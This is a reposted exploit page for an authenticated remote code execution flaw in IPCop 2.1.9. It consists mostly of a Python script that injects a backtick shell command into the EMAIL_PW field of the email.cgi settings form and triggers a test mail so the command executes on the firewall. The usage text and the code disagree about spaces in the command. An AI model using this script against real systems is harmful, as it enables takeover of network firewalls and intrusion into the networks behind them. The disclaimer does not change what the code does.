Ipcop 2.1.9 remote code execution (rce) (authenticated) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-08-10 | Type : webapps | Platform : cgi
This exploit / vulnerability Ipcop 2.1.9 remote code execution (rce) (authenticated) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: IPCop 2.1.9 - Remote Code Execution (RCE) (Authenticated)
# Date: 02/08/2021
# Exploit Author: Mücahit Saratar
# Vendor Homepage: https://www.ipcop.org/
# Software Link: https://sourceforge.net/projects/ipcop/files/IPCop/IPCop%202.1.8/ipcop-2.1.8-install-cd.i486.iso - https://sourceforge.net/projects/ipcop/files/IPCop/IPCop%202.1.9/ipcop-2.1.9-update.i486.tgz.gpg
# Version: 2.1.9
# Tested on: parrot os 5.7.0-2parrot2-amd64

#!/usr/bin/python3

import requests as R
import os
import sys
import base64
import urllib3

R.packages.urllib3.disable_warnings()
R.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
try:
R.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
except AttributeError:
# no pyopenssl support used / needed / available
pass

try:
hostport = sys.argv[1]
assert hostport[:8] == "https://" and hostport[-1] == "/"
url = hostport + "cgi-bin/email.cgi"
username = sys.argv[2].encode()
password = sys.argv[3].encode()
auth = base64.b64encode(username+b":"+password).decode()
command = sys.argv[4]
assert " " in command
except:
print("[-] Usage https://host:port/ username password command(no spaces) <port for listen with nc - optional - >")
exit(1)


rheader = {"Authorization":"Basic "+auth,
"Origin": hostport,
"Referer": url}

rdata = {
"EMAIL_SERVER": "mucahitsaratar.github.io",
"EMAIL_USE_TLS": "auto",
"EMAIL_SERVER_PORT": "1337",
"EMAIL_USR": "ipcop@localdomain",
"EMAIL_PW": f"`{command}`",
"EMAIL_FROM": "ipcop@localdomainn",
"EMAIL_TO": "ipcop@localdomainnn",
"ACTION": "Kaydet" # change here to what is mean the "save && send test mail" in target language
}


R.post(url,headers=rheader, data=rdata, verify=False)
rdata["ACTION"] = "Test postası gönder" # send test mail
R.post(url,headers=rheader, data=rdata, verify=False)